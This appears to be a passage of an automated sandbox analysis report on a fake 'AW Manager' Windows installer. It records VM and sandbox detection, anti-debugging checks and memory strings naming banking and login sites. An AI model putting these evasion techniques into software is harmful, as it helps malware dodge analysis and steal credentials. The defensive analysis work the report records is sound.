Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 7876	Thread sleep count: 253 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 8740	Thread sleep count: 51 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 8736	Thread sleep count: 232 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 9604	Thread sleep count: 48 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 9600	Thread sleep count: 220 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 10436	Thread sleep count: 68 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 10432	Thread sleep count: 212 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 11312	Thread sleep count: 66 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 10420	Thread sleep count: 207 > 30

Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\expand.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File Volume queried: C:\Users\user\AppData\Roaming FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File Volume queried: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File Volume queried: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62 FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File Volume queried: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62 FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504 FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504 FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504 FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48 FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48 FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48 FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10003A90 FtpSetCurrentDirectoryW,FtpFindFirstFileW,InternetFindNextFileW,InternetFindNextFileW,InternetCloseHandle,	4_2_10003A90
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C16160 FindFirstFileW,GetLastError,FindClose,	21_2_00C16160
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C39090 FindFirstFileW,FindClose,CloseHandle,CloseHandle,CloseHandle,CreateEventW,CreateThread,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	21_2_00C39090
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B2F3C0 FindClose,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,	21_2_00B2F3C0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C15B90 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,GetFileAttributesW,FindNextFileW,	21_2_00C15B90
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C39F30 FindFirstFileW,FindClose,	21_2_00C39F30
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C54630 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	21_2_00C54630
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C15800 _wcsrchr,FindFirstFileW,FindFirstFileW,FindFirstFileW,FindClose,FindClose,_wcsrchr,	21_2_00C15800
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C17910 FindFirstFileW,FindClose,	21_2_00C17910
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_0057D7C0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	30_2_0057D7C0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005FF4F9 FindFirstFileExW,	30_2_005FF4F9
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0023D7C0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	32_2_0023D7C0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002BF4F9 FindFirstFileExW,	32_2_002BF4F9

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Code function: 21_2_00CA6652 VirtualQuery,GetSystemInfo,

21_2_00CA6652

Source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: VMware
Source: 1922353491.exe, 00000024.00000002.3680655474.0000000000928000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(f
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Windows Updater.exe, Windows Updater.exe, 00000020.00000002.3561415988.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.0000000001425000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000002.3561415988.0000000001425000.00000004.00000020.00020000.00000000.sdmp, a3.exe, 00000021.00000002.3929526900.0000000003F48000.00000004.00000020.00020000.00000000.sdmp, a3.exe, 00000021.00000002.3929526900.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000002.3680655474.0000000000972000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: a1.exe, 00000015.00000003.3150697739.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155040941.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: System Updater.msi.34.dr	Binary or memory string: 01234567890.0.0.0.%dVMware, Inc.VMware Virtual PlatformVMware7,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IROOT\CIMV2SELECT * FROM Win32_ComputerSystemSELECT * FROM Win32_BIOSManufacturerModelVersionGetting system informationManufacturer [Model [BIOS [IsWow64Processkernel32Software\Microsoft\Windows NT\CurrentVersionSYSTEM\CurrentControlSet\Control\ProductOptionsCurrentMajorVersionNumberCurrentMinorVersionNumberCurrentVersionCurrentBuildNumberReleaseIdCSDVersionProductTypeProductSuiteWinNTServerNTSmall BusinessEnterpriseBackOfficeCommunicationServerTerminal ServerSmall Business(Restricted)EmbeddedNTDataCenterPersonalBladeEmbedded(Restricted)Security ApplianceStorage ServerCompute Server Failed to create IWbemLocator object. Error code: \\Could not connect to WMI provider. Error code: Failed to initialize security. Error code: Could not set proxy blanket. Error code: WQLWMI Query failed: []. Error code:
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Windows Updater.exe, 00000020.00000002.3561415988.00000000013FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\C
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: AdvancedWindowsManager.exe, 0000002D.00000002.3449928609.000000000007D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllFF
Source: Windows Updater.exe, 0000001E.00000002.3180467976.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXW
Source: 1922353491.exe, 00000024.00000002.3681367846.0000000000E34000.00000040.00000001.01000000.00000026.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: a3.exe, 00000021.00000002.3929526900.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000989000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWCZ
Source: wmiprvse.exe, 0000000F.00000002.3930452953.000000006BD1E000.00000002.00000001.01000000.00000016.sdmp	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 1922353491.exe, 00000024.00000002.3684114918.00000000050EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ALACv0jpxBXxYb7XzlMGj9PPZIH4EG%2Bl0xZYbE7x2DBHs2xDUuehy7eUx2JaUZ9cWECEWUFTVTiW8rYkSY%2Bm5%2FG41Qe0WzGdCtqemUdcRksWCAwIreUgDOIPMB7jlF8nAxkw8g%3D%3D"}],"group":"cf-nel","max_age":604800}
Source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: AdvancedWindowsManager.exe, 0000002F.00000002.3403177133.0000000000D59000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 00000031.00000002.3405487778.0000000000E08000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 00000033.00000002.3407174472.00000000000D9000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 00000035.00000002.3409031498.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 00000037.00000002.3410096987.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Windows Updater.exe, 00000020.00000002.3561415988.00000000013FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: wmiprvse.exe, 0000000F.00000002.3930452953.000000006BD1E000.00000002.00000001.01000000.00000016.sdmp	Binary or memory string: VMWare
Source: setup.tmp, 00000004.00000002.3907486788.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: 1922353491.exe, 00000024.00000002.3681367846.0000000000E34000.00000040.00000001.01000000.00000026.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1922353491.exe, 00000024.00000002.3686040918.0000000005747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

API call chain: ExitProcess graph end node

graph_4-20625

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe

System information queried: ModuleInformation

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe

Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Code function: 4_2_1001610F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_1001610F

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Code function: 30_2_00598150 CreateFileW,GetLastError,OutputDebugStringW,OutputDebugStringW,SetFilePointer,FlushFileBuffers,WriteFile,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,OutputDebugStringW,WriteFile,WriteFile,FlushFileBuffers,FlushFileBuffers,

30_2_00598150

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Code function: 21_2_00C542C0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

21_2_00C542C0

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CBEA61 mov ecx, dword ptr fs:[00000030h]	21_2_00CBEA61
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CA8E85 mov esi, dword ptr fs:[00000030h]	21_2_00CA8E85
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CC38E2 mov eax, dword ptr fs:[00000030h]	21_2_00CC38E2
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CC389E mov eax, dword ptr fs:[00000030h]	21_2_00CC389E
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005E6A04 mov esi, dword ptr fs:[00000030h]	30_2_005E6A04
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005FF2F8 mov eax, dword ptr fs:[00000030h]	30_2_005FF2F8
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005F55B1 mov ecx, dword ptr fs:[00000030h]	30_2_005F55B1
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002A6A04 mov esi, dword ptr fs:[00000030h]	32_2_002A6A04
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002BF2F8 mov eax, dword ptr fs:[00000030h]	32_2_002BF2F8
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002B55B1 mov ecx, dword ptr fs:[00000030h]	32_2_002B55B1

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Code function: 4_2_10027129 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,RtlAllocateHeap,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

4_2_10027129

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_1001610F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_1001610F
